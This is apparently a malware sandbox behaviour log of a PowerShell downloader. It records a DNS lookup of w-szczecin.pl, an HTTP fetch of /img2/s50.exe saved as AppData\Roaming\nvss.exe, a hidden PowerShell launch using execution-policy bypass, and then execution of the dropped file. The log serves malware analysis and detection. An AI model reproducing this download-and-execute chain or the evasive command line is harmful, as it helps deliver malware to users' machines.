Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\ODiag True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\ODiag\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OSession True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OSession\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell True 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Get Environment String name = HOMEDRIVE, result_out = C: True 1
Fn
Environment Get Environment String name = HOMEPATH, result_out = \Users\kFT6uTQW True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW, type = file_attributes True 1
Fn
File Get Info filename = C:\, type = file_attributes True 4
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Get Environment String name = MshEnableTrace False 2
Fn
Environment Get Environment String name = MshEnableTrace False 5
Fn
File Get Info filename = C:\Users\kFT6uTQW\Desktop, type = file_attributes True 2
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
File Get Info filename = C:\, type = file_attributes True 2
Fn
File Get Info filename = C:\Users, type = file_attributes True 2
Fn
File Get Info filename = C:\Users\kFT6uTQW, type = file_attributes True 2
Fn
File Get Info filename = C:\Users\kFT6uTQW\Desktop, type = file_attributes True 2
Fn
File Get Info filename = C:\Users, type = file_attributes True 2
Fn
File Get Info filename = C:\Users\kFT6uTQW, type = file_attributes True 2
Fn
File Get Info filename = C:\Users\kFT6uTQW\Desktop, type = file_attributes True 3
Fn
Environment Get Environment String name = MshEnableTrace False 2
Fn
Environment Get Environment String name = HomeDrive, result_out = C: True 1
Fn
Environment Get Environment String name = HomePath, result_out = \Users\kFT6uTQW True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\SysWOW64\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 7
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\SysWOW64\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\SysWOW64\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Get Info filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\profile.ps1, type = file_attributes False 1
Fn
File Get Info filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\WindowsPowerShell\profile.ps1, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1, type = file_attributes False 1
Fn
Environment Get Environment String name = MshEnableTrace False 7
Fn
File Open filename = STD_INPUT_HANDLE True 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds, value_name = PipelineMaxStackSizeMB, type = REG_NONE False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds, value_name = PipelineMaxStackSizeMB, type = REG_NONE False 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Thread 0xa58
(Host: 12, Network: 6)
+
Category Operation Information Success Count Logfile
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Socket Close type = SOCK_STREAM True 1
Fn
Inet Close Session True 1
Fn
Module Unmap process_name = c:\windows\syswow64\windowspowershell\v1.0\powershell.exe True 1
Fn
Socket Close type = SOCK_DGRAM True 1
Fn
Socket Close type = SOCK_DGRAM True 1
Fn
Socket Close type = SOCK_DGRAM True 1
Fn
Socket Close type = SOCK_DGRAM True 1
Fn
Module Unmap process_name = c:\windows\syswow64\windowspowershell\v1.0\powershell.exe True 1
Fn
Thread 0xa5c
(Host: 96, Network: 60)
+
Category Operation Information Success Count Logfile
Environment Get Environment String name = MshEnableTrace False 19
Fn
Environment Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 1
Fn
Environment Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, type = file_attributes True 1
Fn
Environment Get Environment String name = MshEnableTrace False 5
Fn
Environment Get Environment String name = APPDATA, result_out = C:\Users\kFT6uTQW\AppData\Roaming True 2
Fn
Module Get Filename process_name = c:\windows\syswow64\windowspowershell\v1.0\powershell.exe, file_name_orig = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, size = 260 True 1
Fn
File Get Info filename = C:\Windows\Microsoft.NET\Framework\v2.0.50727\Config\machine.config, type = file_attributes True 2
Fn
File Create filename = C:\Windows\Microsoft.NET\Framework\v2.0.50727\Config\machine.config, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Windows\Microsoft.NET\Framework\v2.0.50727\Config\machine.config, type = file_type True 2
Fn
File Get Info filename = C:\Windows\Microsoft.NET\Framework\v2.0.50727\Config\machine.config, type = size, size_out = 0 True 1
Fn
File Read filename = C:\Windows\Microsoft.NET\Framework\v2.0.50727\Config\machine.config, size = 4096, size_out = 4096 True 6
Fn
Data
File Read filename = C:\Windows\Microsoft.NET\Framework\v2.0.50727\Config\machine.config, size = 4096, size_out = 1459 True 1
Fn
Data
File Read filename = C:\Windows\Microsoft.NET\Framework\v2.0.50727\Config\machine.config, size = 4096, size_out = 0 True 1
Fn
Module Get Filename process_name = c:\windows\syswow64\windowspowershell\v1.0\powershell.exe, file_name_orig = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, size = 260 True 1
Fn
File Get Info filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.config, type = file_attributes False 2
Fn
File Create filename = C:\Users\kFT6uTQW\AppData\Roaming\nvss.exe, desired_access = GENERIC_WRITE, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\nvss.exe, type = file_type True 2
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion, value_name = InstallationType, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion, value_name = InstallationType, data = Client, type = REG_SZ True 1
Fn
Socket Create protocol = IPPROTO_IP, address_family = AF_INET, type = SOCK_DGRAM True 1
Fn
Socket Close type = SOCK_DGRAM True 1
Fn
Socket Create protocol = IPPROTO_IP, address_family = AF_INET6, type = SOCK_DGRAM True 1
Fn
Socket Close type = SOCK_DGRAM True 1
Fn
System Get Computer Name result_out = XABNCPUWKW True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance, value_name = Library, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance, value_name = Library, data = netfxperf.dll, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance, value_name = IsMultiInstance, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance, value_name = IsMultiInstance, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance, value_name = First Counter, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance, value_name = First Counter, data = 4986, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance, value_name = CategoryOptions, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance, value_name = CategoryOptions, data = 3, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance, value_name = FileMappingSize, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance, value_name = FileMappingSize, data = 131072, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance, value_name = Counter Names, type = REG_BINARY True 2
Fn
Data
Module Create Mapping filename = System Paging File, protection = PAGE_READWRITE, maximum_size = 131072 True 1
Fn
Module Map process_name = c:\windows\syswow64\windowspowershell\v1.0\powershell.exe, desired_access = FILE_MAP_WRITE True 1
Fn
System Get Info type = Operating System False 2
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking False 1
Fn
Mutex Open mutex_name = Global\.net clr networking, desired_access = MUTEX_MODIFY_STATE, SYNCHRONIZE True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Mutex Create mutex_name = Global\.net clr networking True 1
Fn
Mutex Release mutex_name = Global\.net clr networking True 1
Fn
Socket Create protocol = IPPROTO_IP, address_family = AF_INET, type = SOCK_DGRAM True 1
Fn
Socket Create protocol = IPPROTO_IP, address_family = AF_INET6, type = SOCK_DGRAM True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings True 1
Fn
Socket Create protocol = IPPROTO_TCP, address_family = AF_INET, type = SOCK_STREAM True 1
Fn
Socket Create protocol = IPPROTO_TCP, address_family = AF_INET6, type = SOCK_STREAM True 1
Fn
DNS Resolve Name host = w-szczecin.pl, address_out = 91.231.140.161, service = 0 True 1
Fn
Socket Create protocol = IPPROTO_IP, address_family = AF_INET, type = SOCK_DGRAM True 1
Fn
Socket Create protocol = IPPROTO_IP, address_family = AF_INET6, type = SOCK_DGRAM True 1
Fn
Socket Connect remote_address = 91.231.140.161, remote_port = 80 True 1
Fn
Socket Close type = SOCK_STREAM True 1
Fn
Socket Send flags = NO_FLAG_SET, size = 75, size_out = 75 True 1
Fn
Data
Inet Open Session access_type = WINHTTP_ACCESS_TYPE_NO_PROXY, proxy_name = WINHTTP_NO_PROXY_NAME, proxy_bypass = WINHTTP_NO_PROXY_BYPASS True 1
Fn
Inet Open Connection protocol = http, server_name = w-szczecin.pl, server_port = 80 True 1
Fn
Inet Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /img2/s50.exe True 1
Fn
Inet Send HTTP Request headers = host: w-szczecin.pl, connection: Keep-Alive, url = w-szczecin.pl/img2/s50.exe True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 4096, size_out = 4096 True 1
Fn
Data
Inet Read Response size = 4096, size_out = 4096 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 8972 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 8972 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\AppData\Roaming\nvss.exe, size = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\AppData\Roaming\nvss.exe, size = 8681 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 3472 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 3472 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 5240 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 5240 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\AppData\Roaming\nvss.exe, size = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\AppData\Roaming\nvss.exe, size = 4616 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 1452 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 1452 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 23232 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 23232 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\AppData\Roaming\nvss.exe, size = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\AppData\Roaming\nvss.exe, size = 20588 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 52272 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 52272 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\AppData\Roaming\nvss.exe, size = 52272 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 14520 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 14520 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\AppData\Roaming\nvss.exe, size = 14520 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 2904 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 2904 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 1452 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 1452 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\AppData\Roaming\nvss.exe, size = 4096 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 2904 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 2904 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 65140 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 65140 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\AppData\Roaming\nvss.exe, size = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\AppData\Roaming\nvss.exe, size = 64208 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 7260 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 7260 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\AppData\Roaming\nvss.exe, size = 7260 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 1452 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 1452 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 55176 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 55176 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\AppData\Roaming\nvss.exe, size = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\AppData\Roaming\nvss.exe, size = 52532 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 8712 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 8712 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\AppData\Roaming\nvss.exe, size = 8712 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 2904 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 2904 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 52272 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 52272 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\AppData\Roaming\nvss.exe, size = 4096 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\AppData\Roaming\nvss.exe, size = 51080 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 65536, size_out = 63888 True 1
Fn
Data
Inet Read Response size = 65536, size_out = 63888 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\AppData\Roaming\nvss.exe, size = 63888 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 25915, size_out = 5808 True 1
Fn
Data
Inet Read Response size = 25915, size_out = 5808 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\AppData\Roaming\nvss.exe, size = 5808 True 1
Fn
Data
Socket Receive flags = NO_FLAG_SET, size = 20107, size_out = 20107 True 1
Fn
Data
Inet Read Response size = 20107, size_out = 20107 True 1
Fn
Data
File Write filename = C:\Users\kFT6uTQW\AppData\Roaming\nvss.exe, size = 20107 True 1
Fn
Data
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Process Create process_name = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -noprofile -windowstyle minimized -command, os_pid = 0xa6c, show_window = SW_HIDE True 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Get Environment String name = APPDATA, result_out = C:\Users\kFT6uTQW\AppData\Roaming True 2
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\AppData\Roaming\nvss.exe, type = file_attributes True 3
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
File Get Info filename = C:\Users\kFT6uTQW\Desktop, type = file_attributes True 2
Fn
Process Get Info type = PROCESS_BASIC_INFORMATION True 1
Fn
Thread 0xa8c
(Host: 1, Network: 0)
+
Category Operation Information Success Count Logfile
Process Create process_name = C:\Users\kFT6uTQW\AppData\Roaming\nvss.exe, show_window = SW_SHOWNORMAL True 1
Fn
Process #6: powershell.exe
(Host: 58, Network: 0)
+
Information Value
ID #6
File Name c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
Command Line "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -noprofile -windowstyle minimized -command
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:00:55, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:01:40
OS Process Information
+
Information Value
PID 0xa6c
Parent PID 0xa40 (c:\windows\syswow64\windowspowershell\v1.0\powershell.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x A70
0x A74
0x A78
0x A7C
0x A80
0x A84
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True True False
pagefile_0x0000000000030000 0x00030000 0x00036fff Pagefile Backed Memory Readable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
locale.nls 0x00070000 0x000d6fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x00000000000e0000 0x000e0000 0x000e1fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x00000000000f0000 0x000f0000 0x0012ffff Private Memory Readable, Writable True True False
powershell.exe.mui 0x00130000 0x00132fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000140000 0x00140000 0x00140fff Private Memory Readable, Writable True True False
private_0x0000000000150000 0x00150000 0x00150fff Private Memory Readable, Writable True True False
pagefile_0x0000000000160000 0x00160000 0x00160fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000170000 0x00170000 0x0017ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000180000 0x00180000 0x00180fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000190000 0x00190000 0x00191fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000001a0000 0x001a0000 0x001a0fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000001b0000 0x001b0000 0x001b1fff Pagefile Backed Memory Readable True False False
  • Region Actions
cversions.2.db 0x001c0000 0x001c3fff Memory Mapped File Readable True False False
  • Region Actions
